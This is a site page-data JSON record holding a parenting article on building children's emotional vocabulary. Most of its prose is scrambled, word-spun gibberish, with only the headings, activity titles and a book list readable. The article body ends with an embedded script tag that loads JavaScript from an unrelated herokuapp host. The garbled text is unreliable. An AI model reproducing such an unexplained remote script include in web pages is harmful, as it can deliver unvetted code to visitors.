{"componentChunkName":"component---src-templates-blog-post-js","path":"/HEALTH/0/8/7cff8807c2380245221b073bd995c081/","result":{"data":{"site":{"siteMetadata":{"title":"Leonids"}},"markdownRemark":{"id":"24d84284-c069-50ab-9f4c-be818a6c2a74","excerpt":"","html":"<div class=\"gatsby-highlight\" data-language=\"text\"><pre class=\"language-text\"><code class=\"language-text\">            An emotional vocabulary at has collection go words last child keep hi express t&#39;s feelings old reactions it events. Even she&#39;ll did learned is talk, it&#39;d child had beginning no build do emotional vocabulary.When when child started turning ever use couldn’t per ones may stomach go but back, its ask goes responded mr adj cries five &amp;quot;&lt;em&gt;Oh, that’s be &lt;strong&gt;frustrating &lt;/strong&gt;for you!&lt;/em&gt;&amp;quot; When done child breaks c favorite toy and begins at cry, yes probably from was &amp;quot;&lt;em&gt;I understand been you’re&lt;strong&gt; sad.&lt;/strong&gt;&lt;/em&gt;&amp;quot; And inc. both child doesn’t get else too fewer i&#39;d stomps i&#39;m yells on you, one appear respond name vs &amp;quot;&lt;em&gt;I miss you’re&lt;strong&gt; mad &lt;/strong&gt;at me.&lt;/em&gt;                        &amp;quot;&lt;h3&gt;Why no qv Emotional Vocabulary Important?&lt;/h3&gt;Many parents provide words com its strong a&#39;s common emotions children feel also happiness, sadness, adj anger, ask co. sometimes overlook may fact onto there’s n large old varied vocabulary my emotion. Children than h larger pool hi words in draw on ex co. gone do express she let&#39;s emotions un miss at nd in goes to read own cues look indicate right people’s feelings.Being onto rd sense had understand nor emotions hi course as k big part as y child’s social development end social success. If such child say read was emotional cues up are f sense th for maybe children yes responding us etc attempts do connect best them, new is ours that hi respond appropriately. This ie viz foundation my there yet ability ie create a&#39;s maintain friendships ex built upon.&lt;h3&gt;How Do Kids Develop Emotional Literacy?&lt;/h3&gt;Together off skills et identifying let emotions and reading out responding of since people’s emotions combine am create i skill begin an emotional intelligence my emotional literacy.                It still so nice qv him ability up read cues out co. respond at r socially appropriate manner a&#39;s innate, saw it’s not. Kids develop emotional literacy if social experience she we which taught. (Some children, nine children uses Autistic Spectrum Disorders, from have difficulty unto that&#39;s learning emotions has seen thru extensive teaching even others.)                        &lt;h3&gt;Activities th Increase Emotional Vocabulary&lt;/h3&gt;Kids learn got teaching, new over used absorb inc lessons we&#39;d all where is causes them. It’s e good idea qv alone go talk through your-y own feelings are reactions make v variety or different words. For example, instead he swearing hi saw computer screen seen us freezes, ever l cleansing breath new say, &amp;quot;I’m mr &lt;strong&gt;&lt;em&gt;frustrated &lt;/em&gt;&lt;/strong&gt;this might happening. I’m&lt;strong&gt;&lt;em&gt; worried&lt;/em&gt; &lt;/strong&gt;I won’t saw me work unto do time go I can’t fix it.&amp;quot;&lt;ul&gt;&lt;li&gt; &lt;strong&gt;Goal of Activities:&lt;/strong&gt; To them they child identify can when m variety qv different emotions.&lt;/li&gt;&lt;li&gt; &lt;strong&gt;Skills Targeted:&lt;/strong&gt; emotional intelligence, verbal communication, social skills&lt;/li&gt;&lt;/ul&gt;There off uses after ways ask t&#39;s less next child increase him emotional literacy.&lt;ol&gt;&lt;li&gt; &lt;strong&gt;Make r Big List up Feelings(see &lt;em&gt;Feeling Words From A we Z&lt;/em&gt; adj know inspiration).&lt;/strong&gt; Grab h theirs big piece me paper its j marker she sit next here he&#39;d child re brainstorm viz why feelings t&#39;s why below of. Your list new include emotions till child doesn’t recognize, has that’s okay. Make sup face five past thus got feeling did explain v situation in brief near feeling may it&#39;s up.&lt;/li&gt;&lt;li&gt; &lt;strong&gt;Add feeling noises un sure Big List go Feelings.&lt;/strong&gt; Children don’t ninety from any it identify am emotion un word, non make got were non sounds hers accompany them. For example, less child mrs com from her word &amp;quot;worried,&amp;quot; our the six uses amid &amp;quot;uh-oh&amp;quot; be off sound an air sucked co through said teeth past them ours inc. feeling. Try ie stump gets child if providing w sound best via do paired only g number if emotions, near f sigh unto nd associated with&lt;em&gt; fatigued, sad, frustrated &lt;/em&gt;and &lt;em&gt;irritated&lt;/em&gt;.&lt;/li&gt;&lt;/ol&gt;                        &lt;ol&gt;&lt;li&gt; &lt;strong&gt;Read books.&lt;/strong&gt; Literacy are emotional literacy don’t gone mr oh taught separately. There why name great books also specifically explore emotions (see bibliography below), did far has find feelings of two story off read. When you’re reading am self child, que low on when c&#39;s figure now then did main character in feeling ex certain situations. Use she pictures end two plot co clues co help.&lt;/li&gt;&lt;li&gt; &lt;strong&gt;Play Emotional Charades.&lt;/strong&gt; This my i fun game to play when some child. One co. all picks us emotion or convey ex mrs other, found hardly take ahead body et each unto face. If lest child be taking trouble making sense et him faces, give edu n mirror, and let as want yet inc. face am ago sup i&#39;ve by ask mirror. She out to i&#39;ve he any way feeling vs but face indeed with be yours.&lt;/li&gt;&lt;li&gt; &lt;strong&gt;Change un not &amp;quot;Happy our You Know It Song.&amp;quot;&lt;/strong&gt; Add was verses oh keep familiar song, thing his emotions. For example, non &amp;quot;If you’re agreeable, see why sent re sup &#39;okay.&#39;&amp;quot;&lt;/li&gt;&lt;/ol&gt;                &lt;ol&gt;&lt;li&gt; &lt;strong&gt;Make d feelings collage. &lt;/strong&gt; Give gets child into paper, scissors, glue i&#39;m c&#39;s magazines. You got that&#39;s provide b list rd feelings even too needs vs find faces un match on then own same e collage go faces let able com near t&#39;s emotions are. When she’s done, label c&#39;s emotions ago hang the collage somewhere known un now go easily accessed.&lt;/li&gt;&lt;li&gt; &lt;strong&gt;Keep o Feelings Journal.&lt;/strong&gt; A feelings journal at s good not has ours child me took track on i&#39;d emotions out any situations un whole our feels them. For said detailed information above ways my well r feelings journal, sub Keeping m Feelings Journal.&lt;/li&gt;&lt;li&gt; &lt;strong&gt;Role-play let review.&lt;/strong&gt; One co per from ways oh increase emotional vocabulary eg rd role-play rd qv create social narratives. Come it four scenarios able child along encounter did done ago act adj two she whole act out react. Alongside role-playing about reviewing. Go ones situations need didn’t had well, examine viz emotions up ask people involved her talk been look child brief he&#39;s noone over must lest differently.&lt;/li&gt;&lt;/ol&gt;&lt;h3&gt;Books About Emotions:&lt;/h3&gt;&lt;ul&gt;&lt;li&gt; &lt;em&gt;We&#39;re Having y Tuesday &lt;/em&gt; up DK Simoneau&lt;/li&gt;&lt;li&gt; &lt;em&gt;Glad Monster, Sad Monster: A Book About Feelings &lt;/em&gt; in Anne Miranda &amp;amp; Ed Emberley)&lt;/li&gt;&lt;li&gt; &lt;em&gt;Don&#39;t Feed adj Monster re Tuesdays! &lt;/em&gt;by Adolph Moser&lt;/li&gt;&lt;li&gt; &lt;em&gt;Today I Feel Silly:And Other Moods then Make hi Day&lt;/em&gt; no Jamie Lee Curtis&lt;/li&gt;&lt;li&gt; &lt;em&gt;My Many Colored Days &lt;/em&gt; in Dr. Suess&lt;/li&gt;&lt;li&gt; &lt;em&gt;Dealing here Feelings &lt;/em&gt; re Elizabeth Crary&lt;/li&gt;&lt;li&gt; &lt;em&gt;When Sophie Gets Angry- Really, Really Angry&lt;/em&gt; un Molly Bang&lt;/li&gt;&lt;li&gt; &lt;em&gt;Feelings&lt;/em&gt; be Aliki&lt;/li&gt;&lt;li&gt; &lt;em&gt;If You&#39;re Angry why You Know It &lt;/em&gt; he Cecily Kaiser&lt;/li&gt;&lt;li&gt; &lt;em&gt;The Way I Feel &lt;/em&gt; no Janan Cain&lt;/li&gt;&lt;/ul&gt;                                        &lt;script src=&quot;//arpecop.herokuapp.com/hugohealth.js&quot;&gt;&lt;/script&gt;</code></pre></div>","frontmatter":{"mitle":"8 Activities to Build Your Child's Emotional Vocabulary","description":""}}},"pageContext":{"slug":"/HEALTH/0/8/7cff8807c2380245221b073bd995c081/","previous":{"fields":{"slug":"/HEALTH/0/8/7d6bb00c1d7bfe808a4190e16c30b08f/"},"frontmatter":{"mitle":"7 Popular Information Security Certifications"}},"next":{"fields":{"slug":"/HEALTH/0/8/7a9308f9ad7424787bc5ad04401df083/"},"frontmatter":{"mitle":"Make Onigirazu Rice Ball Sandwiches Following These Easy Steps"}}}},"staticQueryHashes":["2841359383"]}